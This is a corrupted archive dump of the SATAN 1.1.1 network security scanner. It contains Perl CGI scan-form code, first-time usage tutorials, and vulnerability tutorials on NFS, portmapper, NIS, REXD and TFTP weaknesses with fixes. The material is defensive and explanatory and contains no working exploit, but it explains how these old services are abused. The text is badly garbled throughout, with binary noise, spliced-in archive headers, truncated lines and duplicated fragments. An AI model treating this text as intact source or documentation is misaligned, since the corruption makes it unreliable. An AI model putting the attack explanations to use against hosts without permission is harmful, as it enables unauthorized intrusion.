  9725. </HEAD>
  9726. <BODY>
  9727. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN data collection</H1>
  9728. <hr>
  9729. <B>Data collection in progress...</B>
  9730.  
  9731. <P>
  9732.  
  9733. EOF
  9734. ;
  9735.  
  9736. $_live_hosts = $live_hosts;
  9737.  
  9738. &run_satan($primary_target);
  9739.  
  9740. $_live_hosts = $live_hosts - $_live_hosts;
  9741.  
  9742. print CLIENT <<EOF;
  9743. <P>
  9744.  
  9745. <B>Data collection completed ($_live_hosts host(s) visited).</B>
  9746. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9747. <a href=../reporting/analysis.pl>Continue with report and analysis</a>
  9748. EOF
  9749.  
  9750. if (&getfqdn($tmp_target)) {
  9751. .print CLIENT <<EOF;
  9752. | <a href="../reporting/satan_info_host.pl,$tmp_target,">
  9753. View primary target results</a>
  9754. EOF
  9755. }
  9756. print CLIENT <<EOF
  9757. </BODY>
  9758. </HTML>
  9759. EOF
  9760. fish.com">
  9761. </HEAD>
  9762. <BODY>
  9763. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Missing input </H1>
  9764. <hr>
  9765. No primary host or network was specified.
  9766. </BODY>
  9767. </HTML>
  9768. EOF
  9769. ;
  9770. .die "\n";
  9771. }
  9772.  
  9773. #
  9774. # If a host name was specified look up the official name.
  9775. #
  9776. if ($primary_target !~ /^\d+\./) {
  9777. .$tmsatan-1.1.1/html/running/satan_run_form.pl..........................................................   600 .   465 .   506 .       3531  5740247767  13713. .................................................................................................
  9778. .................................................................................................................................................................................................................................................................
  9779. ..#
  9780. # Display a FORM to select the primary target and to give the user a chance to
  9781. # override some defaults.
  9782. #
  9783. ($_host) = split(/,/, $html_script_args);
  9784.  
  9785. #
  9786. # First figure out what radio buttons etc. should be "on". Note: the
  9787. # variables below are global. Perhaps we should hide in our own package
  9788. # name space.
  9789. #
  9790. @check_subnets = ();.$check_subnets[$attack_proximate_subnets] = "checked";
  9791. @check_level = ();.$check_level[$attack_level] = "checked";
  9792.  
  9793. #
  9794. # In case the primary target has not yet been set.
  9795. #
  9796. $primary_target = $THIS_HOST unless $primary_target;
  9797. $_host = $primary_target unless $_host;
  9798.  
  9799. print CLIENT <<EOF
  9800. <HTML>
  9801. <HEAD>
  9802. <TITLE>SATAN target selection</TITLE>
  9803. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9804. </HEAD>
  9805. <BODY>
  9806.  
  9807. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN target selection</H1>
  9808.  
  9809. <hr>
  9810.  
  9811. <FORM METHOD=POST ACTION="satan_run_action.pl">
  9812.  
  9813. <h3> Primary target selection </h3>
  9814.  
  9815. Primary target host or network, e.g. <tt>$THIS_HOST</tt>:
  9816. <INPUT SIZE="48" NAME="primary_target" Value="$_host">
  9817.  
  9818. <P>
  9819.  
  9820. <DL compact>
  9821. <DT><DD><input type=radio name="attack_proximate_subnets" value="0" $check_subnets[0]>
  9822. .Scan the target host only.
  9823. <DT><DD><input type=radio name="attack_proximate_subnets" value="1" $check_subnets[1]>
  9824. .Scan all hosts in the primary (i.e. the target's) subnet.
  9825. </DL>
  9826.  
  9827. <HR>
  9828.  
  9829. <h3> Scanning level selection </h3>
  9830.  
  9831. Should SATAN do a light scan, a normal scan, or should it hit the
  9832. (primary) target(s) at full blast?
  9833.  
  9834. <P>
  9835.  
  9836. <DL compact>
  9837. <DT><DD><input type=radio name="attack_level" value="0" $check_level[0]>
  9838. .Light
  9839. <DT><DD><input type=radio name="attack_level" value="1" $check_level[1]>
  9840. .Normal (may be detected even with minimal logging)
  9841. <DT><DD><input type=radio name="attack_level" value="2" $check_level[2]> 
  9842. .Heavy (error messages may appear on systems consoles)
  9843. </DL>
  9844.  
  9845. <HR>
  9846.  
  9847. <INPUT TYPE="submit" VALUE=" Start the scan ">
  9848.  
  9849. </FORM>
  9850. </BODY>
  9851. </HTML>
  9852. EOF
  9853. me="$_group">
  9854. ..$_sort_title: 
  9855. EOF
  9856. ..if ($_not_linked{$_group}) {
  9857. ...print CLIENT <<EOF;
  9858. ...$_group.
  9859. EOF
  9860. ..} else {
  9861. ...($_GROUP = $_group) =~ tr / \//?!/;
  9862. ...print CLIsatan-1.1.1/html/tutorials/.........................................................................   700 .   465 .   506 .          0  5742521545  10605. .........................................................................................
  9863. .................................................................................................................................................................................................................................................................
  9864. ..........satan-1.1.1/html/tutorials/first_time/..............................................................   700 .   465 .   506 .          0  5742521545  12752. ...........................................................................................
  9865. .................................................................................................................................................................................................................................................................
  9866. ........satan-1.1.1/html/tutorials/first_time/analyzing.html................................................   600 .   465 .   506 .       5273  5737553346  15742. .............................................................................................
  9867. .................................................................................................................................................................................................................................................................
  9868. ......<title>Analyzing SATAN output</title>
  9869. <H1><IMG SRC="../../images/satan.gif"> Analyzing SATAN output</H1>
  9870. <HR>
  9871. <p>
  9872. Learning how to effectively interpret the results of a SATAN scan is
  9873. the most difficult part about using SATAN.  This is partly because 
  9874. there is no "correct" security level.  "Good" security is very much
  9875. dependent on the policies and concerns of the site or system involved.
  9876. <p>
  9877. In addition, some of the concepts used in SATAN (such as why trust
  9878. and network information can be so damaging) and many of the options
  9879. that can be chosen (like proximity, proximity descent, attack filters,
  9880. etc.) will not be very familiar to many system administrators.  It
  9881. is important to read and understand the documentation to use the tool
  9882. effectively.
  9883. <p>
  9884. In the reports if there is a host listed with a red dot
  9885. (<IMG SRC="../../dots/reddot.gif">) next to it, that means the
  9886. host has a vulnerability that could compromise it.  A black dot
  9887. (<IMG SRC="../../dots/blackdot.gif">) means that no vulnerabilites
  9888. have been found for that particular host yet.  Clicking on hyperlinks
  9889. will give you more information on that host, network, piece of
  9890. information, or vulnerability, just as expected.
  9891. <p>
  9892. From the control panel in the HTML interface, select
  9893. <I>SATAN Reporting & Data Analysis</I>.  You will then be
  9894. prompted with a wealth of choices; when first learning to use
  9895. the tool, the <I>Vulnerabilities</I> section will probably
  9896. be the one of the most immediate interest.  In that section,
  9897. the <I>By Approximate Danger Level</I> link is a good place
  9898. to start.  If you find no warnings there, congratulations!  Note
  9899. that this does <U>NOT</U> mean that your host is secure - it
  9900. simply means that SATAN could not find any problems.  You
  9901. might try scanning your targets at a higher level and check this
  9902. again; in any case, you should investigate the other categories
  9903. (Hosts and Trust) in the reporting page.
  9904. <p>
  9905. The best way to learn what SATAN can do for you is by using it - 
  9906. scanning networks and examining the results with the Report and
  9907. Analysis tools can reveal interesting things about your network.
  9908. Remember, anyone has access to this informtion, so act accordingly!
  9909. <p>
  9910. Reading, or at least browsing through the full documentation is
  9911. strongly recommended - this tutorial merely covered the very basic
  9912. capabilities of SATAN.  There are a wealth of possible options that
  9913. can be used to unleash SATAN's full potential.  Be careful, however,
  9914. because it is easy to unwittingly make your neighbors think that you're
  9915. trying to attack them with the scans - <U>always</U> be certain that
  9916. you have permission to scan any potential hosts that you're thinking
  9917. of testing.
  9918.  
  9919. <hr>
  9920. <a href=../../satan_documentation.html> Back to the SATAN Documentation Index</a>
  9921.  
  9922. -Σ╜Θ╬.fò¿i╤qSz⌐▌°«ér.t;.U├┌╝.┌─L.╡{X.xït╦W╗QG┴╜è .├ó}Nα¼.^┼ÿm╡╥├±.W...▐Mÿ[╠ç▐÷─.¥ªqî+d.÷LM.«┬.+.ï╤┼≈2½▌.îo.î└σ¡╟ó╒r.w{-.G─.M.╢0%£.E>.H∙╟h.╗,µ..f╞%gSúB.Γâ.¼║C⌐Ωs├ê╚4/
  9923. Σ═╫\^┼ÑJ╙<+I╛H⌠]╗.╣¥⌡8]KmjJτ╓∞ß=╙╓╣«k6║.φß(lVτNw¼╧Vδ.╧╪ÿ╦¬╡÷C÷M┌.¬α╓-\σb·nOO|vUy≤O└°lI┼|çihM╡7∙Θß╢eëß╛8ß-╛≡É/.vE>ßûq╛ë..:▌.╛α▓╖v▌%ù=í║εUù═U┼╬┴á»TB.$┐ïíú┼▒;ƒ
  9924. .╪satan-1.1.1/html/tutorials/first_time/learning_to_use.html..........................................   600 .   465 .   506 .       2064  5737561004  17104. ...................................................................................................
  9925. .................................................................................................................................................................................................................................................................
  9926. <title>Learning how to use SATAN</title>
  9927. <H1><IMG SRC="../../images/satan.gif"> SATAN Tutorials</H1>
  9928. <H2>(Learning how to use SATAN)</H2>
  9929. <HR>
  9930. <p>
  9931. It can be very easy to use SATAN for the first time; it's basic
  9932. capabilities are very simple to use and to understand.  To start
  9933. using it, there are only three basic steps to follow:
  9934. <p>
  9935. <OL>
  9936. <li> <A HREF="make.html">
  9937. .Making a working copy of the program</a>
  9938. <li> <A HREF="scanning.html">
  9939. .Scanning your host or networks</a>
  9940. <li> <A HREF="analyzing.html">
  9941. .Analyzing the output</a>
  9942. </OL>
  9943.  
  9944. <p>
  9945. <STRONG> Remember - you should run SATAN as "root"!</STRONG>  Some
  9946. of the scanning tests require <I>root</I> privileges to run.
  9947. <p>
  9948. After trying it once, you should read through the rest of the
  9949. documentation to learn how to use it to its fullest extent.  Reading the 
  9950. <A HREF="../../docs/user_interface.html#tricky-implications">
  9951. Hints, Further tricky security implications, or Getting The Big Picture (tm)</A>
  9952. Would be a <STRONG>very</STRONG> good idea.
  9953.  
  9954. <hr>
  9955. <a href=../../satan_documentation.html> Back to the Documentation TOC</a>
  9956. ll give you more information on that host, network, piece of
  9957. information, or vulnerability, just as expected.
  9958. <p>
  9959. From the control panel in the HTML interface, select
  9960. <I>SATAN Reporting & Data Analysis</I>.  You will then be
  9961. prompted with a wealth of choices; when first learning to use
  9962. the tool, the <I>Vulnerabilities</I> section will probably
  9963. be the one of the most immediate interest.  In that section,
  9964. the <I>By Approximate Danger Level</I> link is a goodsatan-1.1.1/html/tutorials/first_time/make.html.....................................................   600 .   465 .   506 .       1446  5737553410  14651. ................................................
  9965. .................................................................................................................................................................................................................................................................
  9966. ...................................................<title>Creating your own copy of SATAN</title>
  9967. <H1><IMG SRC="../../images/satan.gif"> Creating your own copy of SATAN</H1>
  9968. <HR>
  9969. <p>
  9970. There are only two steps to follow; from your Un*x shell prompt:
  9971. <p>
  9972. <OL>
  9973. <li> First, reconfigure the paths used by the programs by typing
  9974. .<I>reconfig</I> in the main SATAN directory.
  9975. <li> Then type <I> make</I>
  9976. </OL>
  9977.  
  9978. <p>
  9979. That should be all that is needed.  If you have any problems (remember,
  9980. SATAN is currently only <I>fully</I> supported on SunOS 4.x and IRIX 5.x, 
  9981. although this will change by the final release), you should
  9982. read the full documentation on <A HREF="../../docs/getting_started.html">
  9983. configuration and installation.</a>
  9984. <p>
  9985. You should now go to <A HREF="scanning.html"> Scanning your host or
  9986. networks</a> to see how to start scanning hosts using SATAN.
  9987. <A HREF="../../docs/user_interface.html#tricky-implications">
  9988. Hints, Further tricky security implications, or Getting The Big Picture (tm)</A>
  9989. Would be a <STRONG>very</STRONG> good idea.
  9990.  
  9991. <hr>
  9992. <a href=../../satan_dosatan-1.1.1/html/tutorials/first_time/scanning.html.................................................   600 .   465 .   506 .       3317  5737553437  15544. ...............................................................................
  9993. .................................................................................................................................................................................................................................................................
  9994. ....................<title>Scanning for the first time with SATAN</title>
  9995. <H1><IMG SRC="../../images/satan.gif"> Scanning for the first time with SATAN</H1>
  9996. <HR>
  9997. <p>
  9998. To "scan", in SATAN-ese, means to probe or test a remote host's security.
  9999. SATAN has the ability to scan a great number of hosts on a network;
  10000. fortunately or unfortunately, you may not have the authority or permission
  10001. to scan all of the hosts.  SATAN should never be used to scan hosts that
  10002. you haven't gotten explicit permission from the owner of the host that
  10003. it is permissible to scan it.
  10004. <p>
  10005. <STRONG> Remember - you should run SATAN as "root"!</STRONG>
  10006. <p>
  10007. Assuming that you have the authority to do so, it is very simple to start
  10008. scanning:
  10009. <p>
  10010. <OL>
  10011. <li> From the control panel in the HTML interface, select
  10012. .<I>Run SATAN</I>.  It will prompt you with
  10013. .<I>Primary target selection</I>; type in the host that you're
  10014. .running SATAN from if it already isn't in the prompt box.
  10015. <li> Select <I>Scan the target host only</I>, or, if you would prefer
  10016. .and have the authorization and the time (it can take several minutes
  10017. .to scan a single host at the higher scan levels), select
  10018. .<I>Scan all hosts in the primary (i.e. the target's) subnet</I>.
  10019. <li> Select a <I>Normal</I> scan to start out with.  The more intensive
  10020. .the scan the more time it takes to complete.
  10021. <li> Select <I>Start the scan</I> to commence the scanning.
  10022. </OL>
  10023. <p>
  10024. That's it!  If you have any problems (remember, SATAN is currently only
  10025. supported on SunOS 4.x and IRIX 5.x), you should read the full
  10026. documentation on <A HREF="../../docs/getting_started.html">
  10027. using SATAN for the first time.</a>
  10028. <p>
  10029. You should now go to <A HREF="analyzing.html"> Analyzing the output</A>
  10030. to see how to get and to interpret the results of your scan.
  10031. ace, select
  10032. <I>SATAN Reporting & Data Analysis</I>.  You will then be
  10033. prompted with a wealth of choices; when first learning to use
  10034. the tool, the <I>Vulnerabilities</I> section will probably
  10035. be the one of the most immediate interest.  In that section,
  10036. the <I>By Approximate Danger Level</I> link is a goodsatan-1.1.1/html/tutorials/vulnerability_tutorials.pl...............................................   600 .   465 .   506 .       1242  5737241027  16225. ................................................
  10037. .................................................................................................................................................................................................................................................................
  10038. ...................................................print CLIENT <<EOF;
  10039. <HTML>
  10040. <HEAD>
  10041. <title> Tutorials - Security Problems </title>
  10042. <LINK REV="made" HREF="mailto:satan\@fish.com">
  10043. </HEAD>
  10044. <BODY>
  10045. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Tutorials - Security problems </h1>
  10046. <hr>
  10047. <h2>Table of contents</h2>
  10048. <ul>
  10049. EOF
  10050.  
  10051. foreach (<$html_root/tutorials/vulnerability/*.html>) {
  10052. .s;.*/([^\/]+);\1;;
  10053. .($_tutorial = $_) =~ s;([^\/]+).html;\1;;
  10054. .$_tutorial =~ tr /_/ /;
  10055. .print CLIENT <<EOF;
  10056. .<p><dt> <IMG SRC=$HTML_ROOT/dots/blackdot.gif>
  10057. .<a href=$HTML_ROOT/tutorials/vulnerability/$_> <strong>$_tutorial </strong></a>
  10058. EOF
  10059. }
  10060. print CLIENT <<EOF;
  10061. </ul>
  10062. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  10063. </BODY>
  10064. </HTML>
  10065. EOF
  10066.  
  10067. <li> Select a <I>Normal</I> scan to start out with.  The more intensive
  10068. .the scan the more time it takes to complete.
  10069. <li> Select <I>Start the scan</I> to commence the scanning.
  10070. </OL>
  10071. <p>
  10072. That's it!  If you have any problems (remember, SATAN is currently only
  10073. supported on SunOS 4.x and IRIX 5.x), you should read the full
  10074. documentation on <A HREF="satan-1.1.1/html/tutorials/vulnerability/...........................................................   700 .   465 .   506 .          0  5742521546  13477. ...........................................................................
  10075. .................................................................................................................................................................................................................................................................
  10076. ........................satan-1.1.1/html/tutorials/vulnerability/NFS_export_to_unprivileged_programs.html...................   600 .   465 .   506 .       5372  5736744007  23705. .............................................................................
  10077. .................................................................................................................................................................................................................................................................
  10078. ......................<HTML>
  10079. <HEAD>
  10080. <TITLE>Tutorial - Unprivileged NFS access</TITLE>
  10081. <LINK REV="made" HREF="mailto:satan@fish.com">
  10082. </HEAD>
  10083. <BODY>
  10084.  
  10085. <H1><IMG SRC="../../images/satan.gif">Unprivileged NFS access</H1>
  10086.  
  10087. <HR>
  10088.  
  10089. <H3>Summary</H3>
  10090.  
  10091. NFS server executes requests from unprivileged user programs.
  10092.  
  10093. <H3>Impact</H3>
  10094.  
  10095. A malicious user can execute NFS file access requests on behalf of any user.
  10096.  
  10097. <H3>Background</H3>
  10098.  
  10099. When an NFS client host wants to access a remote file or directory, its
  10100. operating system sends a request to the NFS server. The request
  10101. specifies, among others, a file identifier, the operation (read, write,
  10102. change permission, etc.), and the identity of the user on whose behalf
  10103. the operation is to be done.
  10104.  
  10105. <p>
  10106.  
  10107. By default, the user identity is specified with the UNIX numeric user
  10108. and group ids.  With this scheme, also called AUTH_UNIX, the server
  10109. simply believes anything that the client sends it.
  10110.  
  10111. <H3>The problem</H3>
  10112.  
  10113. An NFS request is nothing but a network message.  Any user can run a
  10114. program that generates arbitrary NFS requests.  Such programs have been
  10115. available for several years, and writing them does not require unusual
  10116. programming skills.
  10117.  
  10118. <p>
  10119.  
  10120. When an NFS server accepts requests with AUTH_UNIX authentication from
  10121. unprivileged user programs, a malicious user can execute file access
  10122. requests on behalf of any user.  Reason: with AUTH_UNIX authentication,
  10123. the user identity is nothing but a few user and group ID numbers in a
  10124. network message.
  10125.  
  10126. <H3>Fix</H3>
  10127.  
  10128. The fix is to avoid AUTH_UNIX authentication and to use something that
  10129. involves cryptography. For example, secure NFS with DES or Kerberos
  10130. credentials. Unfortunately, many NFS implementations support AUTH_UNIX
  10131. authentication only. Consult your system documentation.
  10132.  
  10133. <p>
  10134.  
  10135. A partial, but more common, solution is to configure the NFS server,
  10136. and where possible, the mount daemon, to accept requests only from
  10137. privileged system programs (such as UNIX kernels), and to reject NFS
  10138. requests that are sent by unprivileged user programs.
  10139.  
  10140. <p>
  10141.  
  10142. <ul>
  10143.  
  10144. <li>SunOS 4 administrators modify <tt>/etc/rc.local</tt>
  10145.  
  10146. <ul>
  10147.  
  10148. <li><tt>rpc.mountd</tt> (no -n option)
  10149.  
  10150. <li><tt>echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem</tt>
  10151.  
  10152. </ul>
  10153.  
  10154. <p>
  10155.  
  10156. <li>SunOS 5 administrators modify <tt>/etc/system</tt>
  10157.  
  10158. <ul>
  10159.  
  10160. <li><tt>set nfs:nfs_portmon = 1</tt>
  10161.  
  10162. </ul>
  10163.  
  10164. </ul>
  10165.  
  10166. <p>
  10167.  
  10168. On other systems, the mountd command-line options differ, and the
  10169. kernel variable may be called <em>nfsportmon</em> or something
  10170. similar.
  10171.  
  10172. <p>
  10173.  
  10174. <strong>Note: rejecting NFS requests from unprivileged user programs
  10175. does not protect your servers against malicious superusers or against
  10176. malicious PC programs.</strong>
  10177.  
  10178. <H3>Other tips</H3>
  10179.  
  10180. <ul>
  10181.  
  10182. <li>Where practical, export file systems read-only.
  10183.  
  10184. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10185. routers.
  10186.  
  10187. </ul>
  10188. </BODY>
  10189. </HTML>
  10190. ├±.W...▐Mÿ[╠ç▐÷─.¥ªqî+d.÷LM.«┬.+.ï╤┼≈2½▌.îo.î└σ¡╟ó╒r.w{-.G─.M.╢0%£.E>.H∙╟h.╗,µ..f╞%gSúB.Γâ.¼║C⌐Ωs├ê╚4/
  10191. Σ═╫\^┼ÑJ╙<+I╛H⌠]╗.╣¥⌡8]KmjJτ╓∞ß=╙╓╣«k6║.φß(lVτNw¼╧Vδ.╧╪ÿ╦¬╡÷C÷M┌.¬α╓-\σb·nOO|vUy≤O└°lI┼|çihM╡7∙Θß╢eëß╛8ß-╛≡É/.vE>ßûq╛ë..:▌.╛α▓╖v▌%ù=í║εUù═U┼╬┴á»TB.$┐ïíú┼▒;ƒ
  10192. .╪satan-1.1.1/html/tutorials/vulnerability/NFS_export_via_portmapper.html.............................   600 .   465 .   506 .       4660  5736744007  21623. ...................................................................................................
  10193. .................................................................................................................................................................................................................................................................
  10194. <HTML>
  10195. <HEAD>
  10196. <TITLE>Tutorial - Portmapper exports</TITLE>
  10197. <LINK REV="made" HREF="mailto:satan@fish.com">
  10198. </HEAD>
  10199. <BODY>
  10200.  
  10201. <H1><IMG SRC="../../images/satan.gif">Portmapper exports</H1>
  10202.  
  10203. <HR>
  10204.  
  10205. <H3>Summary</H3>
  10206.  
  10207. NFS file exports via the portmapper.
  10208.  
  10209. <H3>Impact</H3>
  10210.  
  10211. NFS export restrictions can be bypassed.
  10212.  
  10213. <H3>Background</H3>
  10214.  
  10215. In order to perform operations via the NFS network file system
  10216. protocol, a client host sends NFS requests to the NFS server daemon
  10217. with:
  10218.  
  10219. <ul>
  10220.  
  10221. <li>an NFS file handle that specifies the target of the operation,
  10222.  
  10223. <li>the operation (lookup, read, write, change permissions),
  10224.  
  10225. <li>the user on whose behalf the request is sent.
  10226.  
  10227. </ul>
  10228.  
  10229. When an NFS client host wants to access a remote file system for the
  10230. first time, it first needs to obtain an NFS file handle. To this end,
  10231. the client host sends an mount request to the server's mount
  10232. daemon.  The server's mount daemon verifies that the client host has
  10233. permission to access the requested file system.  When the mount daemon
  10234. grants access, it sends a (directory) file handle back to the NFS
  10235. client.
  10236.  
  10237. <H3>The problem</H3>
  10238.  
  10239. For efficiency reasons, most NFS export restrictions are enforced by
  10240. the mount daemon. Individual file access operations are handled by the
  10241. NFS daemon, and the origin of such requests is examined only in
  10242. special cases such as remote superuser access.
  10243.  
  10244. <p>
  10245.  
  10246. Instead of talking directly to the mount daemon, a malicious NFS
  10247. client can ask the server's portmapper daemon to forward the request to
  10248. the mount daemon.  When the mount daemon receives the request from
  10249. the portmapper, the mount daemon will believe that the request comes
  10250. from the file server, and not from the malicious client.
  10251.  
  10252. <p>
  10253.  
  10254. When the file server exports file systems to itself (for example,
  10255. because the server is a netgroup member) the mount daemon grants access
  10256. and replies with a file handle.  The portmapper forwards the handle to
  10257. the malicious client. From now on, the client can talk directly to the
  10258. server's NFS daemon to access the directory and all files below it.
  10259.  
  10260. <H3>Fix</H3>
  10261.  
  10262. Run a portmapper (or rpcbind program in case of System V.4) that does
  10263. not forward mount etc. requests. Consult your vendor's patch list.
  10264. See also: 
  10265. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities">
  10266. Cert Advisory 94:15</a>.
  10267.  
  10268. <H3>Other tips</H3>
  10269.  
  10270. <ul>
  10271.  
  10272. <li>Export file systems read-only where possible.
  10273.  
  10274. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10275. routers.
  10276.  
  10277. </ul>
  10278. </BODY>
  10279. </HTML>
  10280. re sent by unprivileged user programs.
  10281.  
  10282. <p>
  10283.  
  10284. <ul>
  10285.  
  10286. <li>SunOS 4 administrators mosatan-1.1.1/html/tutorials/vulnerability/NIS_password_file_access.html..............................   600 .   465 .   506 .       4750  5736744010  21351. ........................................................................
  10287. .................................................................................................................................................................................................................................................................
  10288. ...........................<HTML>
  10289. <HEAD>
  10290. <TITLE>Tutorial - NIS password file access</TITLE>
  10291. <LINK REV="made" HREF="mailto:satan@fish.com">
  10292. </HEAD>
  10293. <BODY>
  10294.  
  10295. <H1><IMG SRC="../../images/satan.gif">NIS password file access</H1>
  10296.  
  10297. <HR>
  10298.  
  10299. <H3>Summary</H3>
  10300.  
  10301. NIS password file access by arbitrary hosts.
  10302.  
  10303. <H3>Impact</H3>
  10304.  
  10305. Allows automated password guessing attacks.
  10306.  
  10307. <H3>Background</H3>
  10308.  
  10309. The NIS (Network Information Service) implements network-wide access to
  10310. administrative information. Examples of databases (also called NIS maps)
  10311. that are shared via NIS:
  10312.  
  10313. <ul>
  10314.  
  10315. <li>the password file that describes what users have access to the system,
  10316.  
  10317. <li>the table with names and addresses of hosts on the network, 
  10318.  
  10319. <li>electronic mail aliases.
  10320.  
  10321. </ul>
  10322.  
  10323. NIS databases are organized in domains.  One NIS server can serve
  10324. multiple NIS domains. In order to perform a query, a client sends a
  10325. request to a NIS server and specifies 
  10326.  
  10327. <ul>
  10328.  
  10329. <li>a NIS domain name, 
  10330.  
  10331. <li>the name of the database (NIS map) to be searched, 
  10332.  
  10333. <li>a search key.
  10334.  
  10335. </ul>
  10336.  
  10337. <H3>The problem</H3>
  10338.  
  10339. Many NIS implementations provide no access control. Every host that
  10340. asks for information will receive a reply. In order to perform a query,
  10341. one needs to know the server's NIS domain name. Often, this name is
  10342. easy to guess, or it can be obtained via the <em>bootparam</em>
  10343. network service.
  10344.  
  10345. <p>
  10346.  
  10347. When the local network is accessible from other networks, a remote
  10348. intruder can collect password file information and run a password
  10349. guessing program.  Many people (including
  10350. <a href="ftp://coast.cs.purdue.edu/pub/doc/passwords/Dan_Klein_password.ps.Z">
  10351. Dan Klein</a>) have demonstrated that people tend to choose passwords that
  10352. are easy to guess.
  10353.  
  10354. <H3>Fix</H3>
  10355.  
  10356. <ul>
  10357.  
  10358. <li>Several vendors have added access control to their <em> ypserv</em>
  10359. implementation. Check your system documentation or vendor patch
  10360. list. The control file is sometimes called <em>securenets</em>.
  10361.  
  10362. </ul>
  10363.  
  10364. <H3>Workarounds</H3>
  10365.  
  10366. <ul>
  10367.  
  10368. <li>Run a <a href="ftp://ftp.win.tue.nl/pub/security/index.html">portmapper
  10369. </a>with access control.
  10370.  
  10371. </ul>
  10372.  
  10373. <H3>Other tips</H3>
  10374.  
  10375. <ul>
  10376.  
  10377. <li>Consider blocking ports 111 (portmap) on your network gateway.
  10378. This makes attacks on NIS and NFS mount daemons much harder.
  10379.  
  10380. <li>Enforce a policy for choosing passwords by installing an
  10381. alternative <em>passwd</em> command, for example
  10382. <a href="ftp://coast.cs.purdue.edu/pub/tools/unix/anlpasswd">anlpasswd</a>.
  10383.  
  10384. <li>See the
  10385. <a href="../../docs/admin_guide_to_cracking.html#nis-passwords">Admin
  10386. Guide to Cracking</a> for an example of why this is a problem.
  10387.  
  10388. </ul>
  10389. </BODY>
  10390. </HTML>
  10391. e problem</H3>
  10392.  
  10393. Many NISsatan-1.1.1/html/tutorials/vulnerability/REXD_access.html...........................................   600 .   465 .   506 .       3100  5736744010  16525. .............................................................................................
  10394. .................................................................................................................................................................................................................................................................
  10395. ......<HTML>
  10396. <HEAD>
  10397. <TITLE>Tutorial - REXD access</TITLE>
  10398. <LINK REV="made" HREF="mailto:satan@fish.com">
  10399. </HEAD>
  10400. <BODY>
  10401.  
  10402. <H1><IMG SRC="../../images/satan.gif">REXD access</H1>
  10403.  
  10404. <HR>
  10405.  
  10406. <H3>Summary</H3>
  10407.  
  10408. REXD remote access from arbitrary hosts.
  10409.  
  10410. <H3>Impact</H3>
  10411.  
  10412. A remote intruder can execute commands as any user.
  10413.  
  10414. <H3>Background</H3>
  10415.  
  10416. The <em>rexd</em> service and the <em>on</em> client program
  10417. implement remote command execution via the network.  To the extent that
  10418. it is possible, the complete client environment, including working
  10419. directory and environment variables, is made available on the remote
  10420. system.
  10421.  
  10422. <H3>The problem</H3>
  10423.  
  10424. A request for remote command execution contains, among others, the
  10425. command to be executed, and a user and group id.  By default, the rexd
  10426. server believes everything that the client sends it. An intruder can
  10427. exploit the service to execute commands as any user (except perhaps
  10428. <em>root</em>).  The typical rexd server has no protection against
  10429. abuse:  most implementations have no provision for access control, nor
  10430. do they require that the client uses a privileged network port.
  10431.  
  10432. <H3>Fix</H3>
  10433.  
  10434. <ul>
  10435.  
  10436. <li>Disable the rexd service. Usually this is accomplished by editing
  10437. the <em>inetd.conf</em> file, and by sending a HUP signal to the <em>
  10438. inetd</em> process.
  10439.  
  10440. <li>Some rexd implementations can be configured to use a more secure
  10441. protocol.  Consult your manual pages for details.
  10442.  
  10443. </ul>
  10444.  
  10445. <H3>Other tips</H3>
  10446.  
  10447. <ul>
  10448.  
  10449. <li>See the
  10450. <a href="../../docs/admin_guide_to_cracking.html#rexd">Admin
  10451. Guide to Cracking</a> for an example of why this is a problem.
  10452.  
  10453. </ul>
  10454. </BODY>
  10455. </HTML>
  10456. that does
  10457. not forward mount etc. requests. Consult your vendor's patch list.
  10458. See also: 
  10459. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities">
  10460. Cert Advisory 94:15</a>.
  10461.  
  10462. <H3>Other tips</H3>
  10463.  
  10464. <ul>
  10465.  
  10466. <li>Export file systems read-only where possible.
  10467.  
  10468. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10469. routers.
  10470.  
  10471. </ul>
  10472. </BODY>
  10473. </HTML>
  10474. re sent by unprivileged user programs.
  10475.  
  10476. <p>
  10477.  
  10478. <ul>
  10479.  
  10480. <li>SunOS 4 administrators mosatan-1.1.1/html/tutorials/vulnerability/TFTP_file_access.html......................................   600 .   465 .   506 .       2277  5736744010  17555. ........................................................................
  10481. .................................................................................................................................................................................................................................................................
  10482. ...........................<HTML>
  10483. <HEAD>
  10484. <TITLE>Tutorial - TFTP file access</TITLE>
  10485. <LINK REV="made" HREF="mailto:satan@fish.com">
  10486. </HEAD>
  10487. <BODY>
  10488.  
  10489. <H1><IMG SRC="../../images/satan.gif">TFTP file access</H1>
  10490.  
  10491. <HR>
  10492.  
  10493. <H3>Summary</H3>
  10494.  
  10495. File access via the TFTP service.
  10496.  
  10497. <H3>Impact</H3>
  10498.  
  10499. Unauthorized remote access to system or user files.
  10500.  
  10501. <H3>Background</H3>
  10502.  
  10503. The TFTP (trivial file transfer protocol) service provides remote
  10504. access to files, without asking for a password. It is typically used
  10505. for the initialization of diskless computers, of X terminals, or of
  10506. other dedicated hardware.
  10507.  
  10508. <H3>The problem</H3>
  10509.  
  10510. When the TFTP daemon does not limit access to specific files or hosts,
  10511. a remote intruder can use the service to obtain copies of the password
  10512. file or of other system or user files, or to remotely overwrite files.
  10513.  
  10514. <H3>Fix</H3>
  10515.  
  10516. <ul>
  10517.  
  10518. <li>Restrict TFTP access to only limited subtree of the file system.
  10519. Consult your tftpd manual pages for details.
  10520.  
  10521. <li>When no access restriction is possible, restrict TFTP access by
  10522. using a tcp wrapper.
  10523.  
  10524. </ul>
  10525.  
  10526. <H3>Other tips</H3>
  10527.  
  10528. <ul>
  10529.  
  10530. <li>See the
  10531. <a href="../../docs/admin_guide_to_cracking.html#tftp">Admin
  10532. Guide to Cracking</a> for an example of why this is a problem.
  10533.  
  10534. </ul>
  10535. </BODY>
  10536. </HTML>
  10537. /em> file, and by sending a HUP signal to the <em>
  10538. inetd</em> process.
  10539.  
  10540. <li>Some rexd implementations can be configured to use a more secure
